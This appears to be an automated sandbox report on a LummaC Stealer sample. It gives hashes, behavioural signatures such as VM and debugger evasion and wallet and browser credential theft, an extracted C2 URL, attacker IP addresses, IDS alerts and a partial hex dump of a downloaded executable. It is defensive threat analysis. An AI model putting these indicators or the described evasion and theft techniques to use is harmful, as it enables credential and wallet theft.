Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561501
MD5:	862e98f36ff57242302dea55b980f0b3
SHA1:	a993a6fca492893cbf03492da7e7171666d950e6
SHA256:	5616eb8669cd2d1678827c35b6bb97556fecde6a7028e096b4f09f235359434f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2716 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 862E98F36FF57242302DEA55B980F0B3)

chrome.exe (PID: 3920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7204 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,5454548092775656080,16599925680545359581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1512 --field-trial-handle=1980,i,3811379757786440935,1444168497897757390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2107970661.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2107824902.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2108594989.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2108453309.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2716	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:03.701497+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T15:37:05.692546+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T15:37:08.360725+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.33.116	443	TCP
2024-11-23T15:37:10.677938+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.33.116	443	TCP
2024-11-23T15:37:13.237404+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.33.116	443	TCP
2024-11-23T15:37:16.602315+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.33.116	443	TCP
2024-11-23T15:37:19.229310+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	104.21.33.116	443	TCP
2024-11-23T15:37:24.409786+0100	2028371	3	Unknown Traffic	192.168.2.5	49718	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:04.404513+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T15:37:06.614834+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T15:37:25.137824+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49718	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:04.404513+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:06.614834+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:26.605119+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49724	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:17.301003+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.33.116	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:37:19.308542+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49713	104.21.33.116	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2364055752.0000000007D90000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471801344.0000000005DA2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49718 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49713 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:37:26 GMTContent-Type: application/octet-streamContent-Length: 2789888Last-Modified: Sat, 23 Nov 2024 14:23:40 GMTConnection: keep-aliveETag: "6741e56c-2a9200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 d3 92 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 61 65 78 62 72 67 6a 00 40 2a 00 00 a0 00 00 00 32 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 72 67 6b 6d 77 70 00 20 00 00 00 e0 2a 00 00 04 00 00 00 6c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 70 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49724 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49718 -> 104.21.33.116:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=y4vW5RedAlCZHPr&MD=Z+BH3x1a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
